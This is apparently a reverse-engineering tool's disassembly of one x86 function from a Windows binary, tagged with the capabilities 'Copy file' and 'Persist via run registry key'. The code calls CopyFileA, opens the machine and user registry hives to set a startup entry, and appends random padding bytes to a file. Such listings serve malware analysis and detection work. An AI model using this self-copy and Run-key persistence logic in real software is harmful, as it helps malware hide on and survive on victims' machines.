Function at 0x472c28
Capabilities:
Copy file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x41
push 0
push 0
dec ecx
jne 0x472c30
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x472fee
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004573bc
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0xc]
call fcn.004725dc
push dword [ebp - 0xc]
lea eax, [ebp - 0x1ec]
call fcn.00472a7c
push dword [ebp - 0x1ec]
push 0x473004
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404a04
xor eax, eax
push ebp
push 0x472cc6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
call fcn.00404b44
push eax
lea edx, [ebp - 0x1f0]
xor eax, eax
call fcn.00402aa4
mov eax, dword [ebp - 0x1f0]
call fcn.00404b44
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x472cd2
cmp bl, 1
jne 0x472c51
mov dl, 1
mov eax, dword [0x42b06c]
call fcn.0042b16c
mov dword [ebp - 0x14], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x14]
call fcn.0042b248
xor ecx, ecx
mov edx, 0x473014
mov eax, dword [ebp - 0x14]
call fcn.0042b388
test al, al
je 0x472db1
xor eax, eax
push ebp
push 0x472da3
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, 0x473054
mov eax, dword [ebp - 0x14]
call fcn.0042b858
push dword [ebp - 8]
push 0x473064
push dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404a04
mov ecx, dword [ebp - 8]
mov edx, 0x473054
mov eax, dword [ebp - 0x14]
call fcn.0042b82c
lea ecx, [ebp - 8]
mov edx, 0x473054
mov eax, dword [ebp - 0x14]
call fcn.0042b858
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.00404c88
test eax, eax
jle 0x472d99
mov byte [ebp - 0x15], 1
mov eax, dword [ebp - 0x14]
call fcn.0042b218
mov edx, 0x80000001
mov eax, dword [ebp - 0x14]
call fcn.0042b248
mov edx, 0x473070
mov eax, dword [ebp - 0x14]
call fcn.0042b2ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x472db1
cmp byte [ebp - 0x15], 0
jne 0x472e20
mov eax, dword [ebp - 0x14]
call fcn.0042b218
mov edx, 0x80000001
mov eax, dword [ebp - 0x14]
call fcn.0042b248
lea eax, [ebp - 4]
call fcn.00472b14
xor ecx, ecx
mov edx, 0x473080
mov eax, dword [ebp - 0x14]
call fcn.0042b388
test al, al
je 0x472e20
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
call fcn.0042b82c
mov eax, dword [ebp - 0x14]
call fcn.0042b218
mov cl, 1
mov edx, 0x473070
mov eax, dword [ebp - 0x14]
call fcn.0042b388
test al, al
je 0x472e20
mov ecx, dword [ebp - 4]
mov edx, 0x4730b8
mov eax, dword [ebp - 0x14]
call fcn.0042b82c
mov eax, dword [ebp - 0x14]
call fcn.0042b218
mov eax, dword [ebp - 0x14]
call fcn.004038c8
lea eax, [ebp - 0x10]
call fcn.00472088
mov eax, dword [ebp - 0x10]
call fcn.00404944
cmp eax, 3
jle 0x472f13
lea edx, [ebp - 0x1f8]
mov eax, dword [ebp - 0xc]
call fcn.00409170
mov eax, dword [ebp - 0x1f8]
lea edx, [ebp - 0x1f4]
call fcn.0040d028
lea eax, [ebp - 0x1f4]
mov edx, 0x4730c8
call fcn.0040494c
mov edx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x10]
call fcn.00472b3c
test al, al
je 0x472f13
lea edx, [ebp - 0x200]
mov eax, dword [ebp - 0xc]
call fcn.00409170
mov eax, dword [ebp - 0x200]
lea edx, [ebp - 0x1fc]
call fcn.0040d028
lea eax, [ebp - 0x1fc]
mov edx, 0x4730c8
call fcn.0040494c
mov eax, dword [ebp - 0x1fc]
call fcn.00404b44
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404b44
mov edx, eax
pop eax
call fcn.00454f3c
lea edx, [ebp - 0x208]
mov eax, dword [ebp - 0xc]
call fcn.00409170
mov eax, dword [ebp - 0x208]
lea edx, [ebp - 0x204]
call fcn.0040d028
lea eax, [ebp - 0x204]
mov edx, 0x4730c8
call fcn.0040494c
mov eax, dword [ebp - 0x204]
call fcn.004090d8
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1e8]
call fcn.00402e64
lea eax, [ebp - 0x1e8]
call fcn.00402c00
call fcn.004028ac
call fcn.00402b04
mov edx, 0x800
mov eax, 0x50
call fcn.004272cc
mov edi, eax
push edi
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, dword [0x472c08]
call fcn.004059e0
add esp, 4
mov ebx, edi
test ebx, ebx
jl 0x472f7b
inc ebx
xor esi, esi
mov eax, 0xb6
call fcn.004030f0
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], al
inc esi
dec ebx
jne 0x472f67
mov ebx, edi
test ebx, ebx
jl 0x472fa5
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dl, byte [eax + esi]
lea eax, [ebp - 0x1e8]
call fcn.00403394
call fcn.00402f20
call fcn.004028ac
inc esi
dec ebx
jne 0x472f84
lea eax, [ebp - 0x1e8]
call fcn.00402f2c
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x472ff5
lea eax, [ebp - 0x208]
mov edx, 8
call fcn.004046a8
lea eax, [ebp - 0x1c]
mov edx, dword [0x472c08]
call fcn.004059ec
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004046a8
ret